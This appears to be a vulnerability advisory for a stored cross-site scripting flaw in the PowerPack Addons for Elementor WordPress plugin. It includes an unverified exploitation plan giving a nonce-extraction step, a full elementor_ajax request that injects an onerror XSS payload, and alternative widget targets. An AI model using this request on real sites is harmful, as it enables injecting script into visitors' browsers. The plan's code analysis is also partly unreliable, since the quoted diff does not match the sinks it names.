CVE-2026-32430

PowerPack Addons for Elementor <= 2.9.9 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.9.10
Patched in
46d
Time to patch

Description

The PowerPack Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.9.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.9.9
PublishedMarch 1, 2026
Last updatedApril 15, 2026

What Changed in the Fix

Changes introduced in v2.9.10

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-32430 ## 1. Vulnerability Summary The **PowerPack Addons for Elementor** plugin (up to version 2.9.9) is vulnerable to **Authenticated (Contributor+) Stored Cross-Site Scripting (XSS)**. The vulnerability exists because certain widgets and extensions provided …

Show full research plan

Exploitation Research Plan: CVE-2026-32430

1. Vulnerability Summary

The PowerPack Addons for Elementor plugin (up to version 2.9.9) is vulnerable to Authenticated (Contributor+) Stored Cross-Site Scripting (XSS). The vulnerability exists because certain widgets and extensions provided by the plugin fail to properly sanitize user-supplied settings (input) and fail to escape them during output rendering on the frontend. This allows a user with "Contributor" privileges or higher to inject arbitrary JavaScript into a page via the Elementor editor, which executes when any user (including administrators) views that page.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: elementor_ajax (standard Elementor data saving mechanism)
  • Vulnerable Parameter: The settings object within the JSON payload of the save_builder_data action. Specifically, text-based settings (e.g., title, prefix, suffix, content) in PowerPack widgets.
  • Authentication: Requires "Contributor" level access. Contributors can edit their own posts using the Elementor editor.
  • Preconditions:
    • The PowerPack Addons for Elementor plugin must be active.
    • The Elementor Page Builder must be active.
    • The attacker has access to the Elementor editor for at least one post/page.

3. Code Flow

  1. Input: A Contributor user saves a post in the Elementor editor. Elementor sends a JSON payload to admin-ajax.php containing widget configurations.
  2. Storage: Elementor's core logic receives this via the elementor_ajax action and saves the data to the WordPress database in the wp_postmeta table under the key _elementor_data.
  3. Registration: PowerPack modules are registered via PowerpackElementsLite\Base\Module_Base::init_widgets(). This method iterates through widgets and registers them with the Elementor widgets_manager.
  4. Rendering: When the post is viewed on the frontend, Elementor iterates through the stored widgets. For PowerPack widgets (inheriting from Powerpack_Widget), it calls the widget's render() method (located in the specific widget file, e.g., widgets/info-box.php, not provided but part of the plugin structure).
  5. Sink: Inside the render() method, settings are retrieved using $this->get_settings_for_display(). The vulnerability occurs when these settings are echoed directly to the page without context-appropriate escaping functions like esc_html() or wp_kses_post().

4. Nonce Acquisition Strategy

To save data via Elementor's AJAX API, a valid Elementor-specific nonce is required.

  1. Create/Identify a Post: Use WP-CLI to ensure a post exists that the Contributor can edit.
    wp post create --post_type=post --post_status=draft --post_author=[CONTRIBUTOR_ID] --post_title="XSS Test"
  2. Navigate to Editor: Use browser_navigate to open the Elementor editor for that post:
    URL: /wp-admin/post.php?post=[POST_ID]&action=elementor
  3. Extract Nonce: Use browser_eval to extract the nonce from the global JavaScript configuration object injected by Elementor.
    • Variable Name: elementorCommon.config.ajax.nonce or elementorConfig.ajax.nonce.
    • Logic: browser_eval("window.elementorConfig?.ajax?.nonce || window.elementorCommon?.config?.ajax?.nonce")

5. Exploitation Strategy

The goal is to update the post metadata with a malicious PowerPack widget configuration.

Step-by-Step Plan:

  1. Login: Authenticate as a Contributor.
  2. Get Post & Nonce: Create a post and extract the elementor_ajax nonce as described in Section 4.
  3. Craft Payload: Create a JSON payload for the elementor_ajax action. We will target the pp-info-box or pp-dual-heading widget, which are standard in this pack.

HTTP Request (via http_request):

  • Method: POST
  • URL: http://[TARGET]/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: elementor_ajax
    • _nonce: [EXTRACTED_NONCE]
    • actions:
      {
        "save_builder_data": {
          "action": "save_builder_data",
          "data": {
            "post_id": "[POST_ID]",
            "data": [
              {
                "id": "exploit-widget-id",
                "elType": "widget",
                "widgetType": "pp-info-box",
                "settings": {
                  "title": "<img src=x onerror=alert('StoredXSS')>",
                  "description": "Exploit Description"
                },
                "elements": []
              }
            ]
          }
        }
      }
      
  1. Trigger: Navigate to the frontend view of the post: http://[TARGET]/?p=[POST_ID].
  2. Verification: Check if the script executes in the browser.

6. Test Data Setup

  • User: Create a user with the contributor role.
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
  • Post: Ensure the contributor owns a post.
    wp post create --post_author=$(wp user get attacker --field=ID) --post_title="PowerPack Edit" --post_status=publish
  • Plugin Config: No special configuration required, as most widgets are enabled by default.

7. Expected Results

  • The elementor_ajax request should return a 200 OK with a JSON body indicating success: true.
  • The wp_postmeta for the post (key _elementor_data) should now contain the injected <img src=x onerror=...> payload.
  • When visiting the post URL, an alert box with StoredXSS should appear.

8. Verification Steps

After the HTTP exploit, use WP-CLI to verify the injection in the database:
wp post meta get [POST_ID] _elementor_data

The output should show the raw HTML payload within the JSON string, confirming it was not sanitized upon storage.

9. Alternative Approaches

If the pp-info-box widget is patched or specifically sanitized, target other widgets by changing the widgetType:

  • pp-counter (target settings: title, prefix, suffix)
  • pp-dual-heading (target settings: first_heading, second_heading)
  • pp-business-hours (target settings: day, time)

Additionally, check Extensions defined in base/extension-base.php. If the plugin adds "Tooltips" or "Entrance Animations" as extensions to standard Elementor widgets, the payload can be injected into the extension settings (e.g., powerpack_tooltip_text).

Research Findings
Static analysis — not yet PoC-verified

Summary

The PowerPack Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via its widgets (such as Info Box, Counter, and Dual Heading) due to insufficient input sanitization and output escaping. Authenticated attackers with contributor-level access or higher can inject arbitrary JavaScript into page builder settings, which then executes in the browser of any user visiting the affected page.

Vulnerable Code

// base/powerpack-widget.php:51
	public function upgrade_powerpack_message() {
		$upgrade_message = sprintf( __( 'Upgrade to %1$s Pro Version %2$s for 90+ widgets, exciting extensions and advanced features.', 'powerpack' ), '<a href="https://powerpackelements.com/upgrade/?utm_medium=pp-elements-lite&utm_source=pp-widget-upgrade-section&utm_campaign=pp-pro-upgrade" target="_blank" rel="noopener">', '</a>' );

		return $upgrade_message;
	}

---

// classes/class-pp-admin-settings.php:364
	private static function save_modules() {
		if ( ! isset( $_POST['pp-modules-settings-nonce'] ) || ! wp_verify_nonce( $_POST['pp-modules-settings-nonce'], 'pp-modules-settings' ) ) {
			return;
		}

		if ( isset( $_POST['pp_enabled_modules'] ) ) {
			update_site_option( 'pp_elementor_modules', $_POST['pp_enabled_modules'] );
		} else {
			update_site_option( 'pp_elementor_modules', 'disabled' );
		}
	}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/powerpack-lite-for-elementor/2.9.9/base/powerpack-widget.php /home/deploy/wp-safety.org/data/plugin-versions/powerpack-lite-for-elementor/2.9.10/base/powerpack-widget.php
--- /home/deploy/wp-safety.org/data/plugin-versions/powerpack-lite-for-elementor/2.9.9/base/powerpack-widget.php	2025-02-28 02:40:30.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/powerpack-lite-for-elementor/2.9.10/base/powerpack-widget.php	2026-02-20 01:11:12.000000000 +0000
@@ -41,13 +41,25 @@
 	}
 
 	public function upgrade_powerpack_title() {
- 		$upgrade_title = esc_html__( 'Get PowerPack Pro', 'powerpack' );
+ 		$upgrade_title = esc_html__( 'Get PowerPack Pro', 'powerpack-lite-for-elementor' );
 
 		return $upgrade_title;
 	}
 
 	public function upgrade_powerpack_message() {
- 		$upgrade_message = sprintf( __( 'Upgrade to %1$s Pro Version %2$s for 90+ widgets, exciting extensions and advanced features.', 'powerpack' ), '<a href="https://powerpackelements.com/upgrade/?utm_medium=pp-elements-lite&utm_source=pp-widget-upgrade-section&utm_campaign=pp-pro-upgrade" target="_blank" rel="noopener">', '</a>' );
+ 		$upgrade_url = 'https://powerpackelements.com/upgrade/?utm_medium=pp-elements-lite&utm_source=pp-widget-upgrade-section&utm_campaign=pp-pro-upgrade';
+
+ 		$upgrade_message = sprintf( 
+ 			/* translators: 1: Opening anchor tag, 2: Closing anchor tag. */
+ 			__(
+ 				'Upgrade to %1$sPro Version%2$s for 90+ widgets, exciting extensions and advanced features.',
+ 				'powerpack-lite-for-elementor'
+ 			),
+ 			'<a href="' . $upgrade_url . '" target="_blank" rel="noopener">',
+ 			'</a>'
+ 		);
+
+ 		$upgrade_message = wp_kses_post( $upgrade_message );
 
 		return $upgrade_message;
 	}

Exploit Outline

To exploit this vulnerability, an attacker with Contributor-level access must first obtain a valid Elementor AJAX nonce by accessing the Elementor editor for a post they own. Once authenticated, the attacker sends a POST request to `/wp-admin/admin-ajax.php` with the action `elementor_ajax` and the sub-action `save_builder_data`. The payload includes a JSON-encoded widget configuration (e.g., for the `pp-info-box` widget) where text-based settings like `title` or `description` are populated with a malicious script (e.g., `<img src=x onerror=alert(1)>`). Because the plugin fails to sanitize this input upon saving and fails to escape it during rendering, the script is stored in the `wp_postmeta` table and will execute in the browser of any user who views the published or previewed post.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.